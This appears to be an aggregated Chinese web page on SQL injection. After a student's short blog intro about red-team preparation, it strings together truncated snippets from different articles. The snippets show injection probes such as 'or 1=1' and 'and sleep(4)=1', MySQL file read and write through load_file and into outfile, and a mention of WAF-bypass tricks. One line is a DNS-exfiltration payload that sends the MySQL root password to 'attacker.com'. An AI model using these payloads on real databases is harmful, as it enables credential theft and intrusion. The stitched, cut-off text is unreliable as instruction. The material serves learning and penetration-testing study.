前言这个月应该会出去参加红队护网，面试了一下发现自己真的好菜有点自闭--几乎一半的面试题目没有回答上来--这几天一直在看红队的知识，在其他方面的学习就懈怠了不少--晚上突然想起来曾经看到的这个问题：怎么判断数据库。很多细节看过就忘了--所以今天这里来做个记录。
照例，这篇文章是个人学习来用，思想均来自互联网。而且数据库安全的话我也就对mysql有点了解，其他数据库安全的话之后再补吧。。不知不觉我也是个即将大三的...
什么是sql注入漏洞
百度解释：
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。
个人理解sql注入的根本原因：
在写与数据库交互的语句时，直接将用户输入的数据跟sql语句进行拼接，没有过滤内容，导致用户可以...
1.设置权限
show global variables like "secure_file_priv"//不为NULL
如果显示为NULL，在my.ini中添加secure_file_priv= //不加任何值
2.写文件
写在的磁盘根目录D盘
写在了D:\phpStudy\MySQL\data
select ‘I love you!‘ into outfile ‘D:\FLAG\flag.txt‘显示权限不足
3.读文件
select load_file(‘flag.txt‘);
SQL注入-读文件和写文件标签：sql注入 磁盘 权限不足 loading 目录 写文件 根目录...
<filter> <filter-name>antiSqlInjection</filter-name> <filter-class>com.usermanage.util.AntiSqlInjectionfilter</filter-class> </filter> <filter-mapping> <filter-name>antiSqlInjection</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>2.具体逻辑实现package com.usermanage.util;import java.io.IOException;import java.util.Enumeration;import javax.servlet.Filter;import javax.servlet.Filter...
用我自己的话来讲，基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上（当然在实际应用中得能回显在页面上，一般的网站都回避免这种情况，哈哈，要是能碰上你就偷着乐吧）。0x01 用于错误回显的sql语句（下面的函数撸主只在mysql下试过也能成功，其他数据库有待考证，待有实例的时候会补充）第一种： 基于 rand() 与 group by 的错误首先看一下关于rand()函数与group by 在mysql中的错误报告，没错，我们就...
LOAD_FILE(CONCAT(‘\\\\‘,(SELECT password FROM mysql.user WHERE user=‘root‘? LIMIT 1),‘.attacker.com\\foobar‘));
返回了：\\\\返回值（password）.attacker.com\\foobar。触发了DNS递归，导致日志记录。
另一种的SQL注入和DNS结合的技巧标签：root 信息 blog oba tac password 导致 pass sel 本文系统来源：http://www.cnblogs.com/MiWhite/p/6901659.html
这里因为实验的时候只记录了一部分所以就展示一部分
1.1.1数字型注入
（1）看到界面发现是查询id功能，没有在url里看到有传参所以应该是post方法提交数据。
（2）进行sql注入之前我们最好是先想像一下这个功能提交的参数到了后台之后后台是怎样的操作的，对于当前的页面我猜测后台是这样操作
现接受我的id请求然后带入到查询语句
$id=$_POST[‘id‘]
select 字段1，字段2 from 表名 where id = $id
可以用下面的语句添加在等号后...
SQL注入：利用现有应用程序，将(恶意)的SQL命令注入到后台数据库引擎执行的能力，这是SQL注入的标准释义。
随着B/S模式被广泛的应用，用这种模式编写应用程序的程序员也越来越多，但由于开发人员的水平和经验参差不齐，相当一部分的开发人员在编写代码的 时候，没有对用户的输入数据或者是页面中所携带的信息（如Cookie）进行必要的合法性判断，导致了攻击者可以提交一段数据库查询代码，根据程序返回的 结果，获得一些他想得到的数...
转载：http://www.iteye.com/topic/617072 SQL注入攻击的总体思路：发现SQL注入位置；判断服务器类型和后台数据库类型；确定可执行情况
对于有些攻击者而言，一般会采取sql注入法。下面我也谈一下自己关于sql注入法的感悟。
注入法：从理论上说，认证网页中会有型如：select * from admin where username=‘XXX‘ and password=‘YYY‘ 的语句，若在正式运行此句之前，如果没有进行必要的字符过滤，则很容易实施SQL注入。如在用...
SQL注入
Sql注入
一：什么是sql注入
SQL注入是比较常见的网络攻击方式之一，它不是利用操作系统的BUG来实现攻击，而是针对程序员编写时的疏忽，通过SQL语句，实现无账号登录，甚至篡改数据库。
二：SQL注入攻击的总体思路
1：寻找到SQL注入的位置
2：判断服务器类型和后台数据库类型
3：针对不同的服务器和数据库特点进行SQL注入攻击
String sql = "select * from user_table where username=
' "+userName+" ' and password=' "+p...
0x00 前言sql注入是通过用户输入构造语句以实现目的。一句话，不要相信任何用户输入的内容，做好防护。0x01 传参方式传参方式一般通过get方式，或者post方式提交，前者的优点是效率高，后者的优点是安全性好、参数的长度长。在sql注入攻击中，通常会选择用户输入内容的地方进行攻击。除此之外，http header中也存在sql注入，比如referer,cookie等等。所以思路一定要开阔，凡是输入数据库的内容都有可能是突破口。0x02 常用的mysql语...
1、产生原因
SQL注入漏洞，主要是开发人员在构建代码时，没有对输入边界进行安全考虑，导致攻击者可以通过合法的输入点提交一些精心构造的语句，从而欺骗后台数据库对其进行执行，导致数据库信息泄漏的一种漏洞。2、攻击流程3、注入点类型数字型注入（POST）
打开pikachu，找到数字型注入（POST），这里可以选择userid 返回用户名和邮箱可以看出来这是一个数字查询，抓包看看一下也可以看出来这是一个post方法。看到id，我们可以猜...
一：SQL注入：
就是通过SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。就是说：用户在网友输入框中输入SQL命令后，后台接收后没有进行识别或类型转换，直接就运行了。
什么意思呢？
假如我们的登录select * from user
where1=1and user.password="123456"
limit 1当我们在前台传入 or 1=1select * from user
where1=1and user.password="13456"or 1=1
limit 1就把第一行的数...
SQL注入危害
绕过登陆验证：使用万能密码登录网站后台等
获取敏感数据：获取网站管理员账号，密码等
文件系统操作：列目录，读取、写入文件等
注册表操作：读取、写入、删除注册表等
执行系统命令操作：远程执行命令
判断一个http请求是否存在SQL注入的方式：
经典：and = | and 2 > 1 | or 1 = 1 | or 1 < 1
数据库函数：and sleep(4)=1 | and lenth(user())>3
SQL注入分类
数字型注入：输入的参数为整形
字符型注入：输入的...
sql注入绕过防御
无waf
无waf方式已经在漏洞重温sql注入中有描述，这里就不多做赘述，有兴趣的朋友可以去看看。
有waf
内联注释
简单理解
在进行演示之前，首先了解一下内联注释。内联注释通常用于绕过网站安全狗，也就是俗称的过狗。简单来说，如果waf拦截的特征是两个关键字连接在一起，例如我们在判断显示位置时使用的order by，在联合查询的时候使用的union select。当着些关键字联合出现的时候，就会被waf发现，并且拦截。在这...
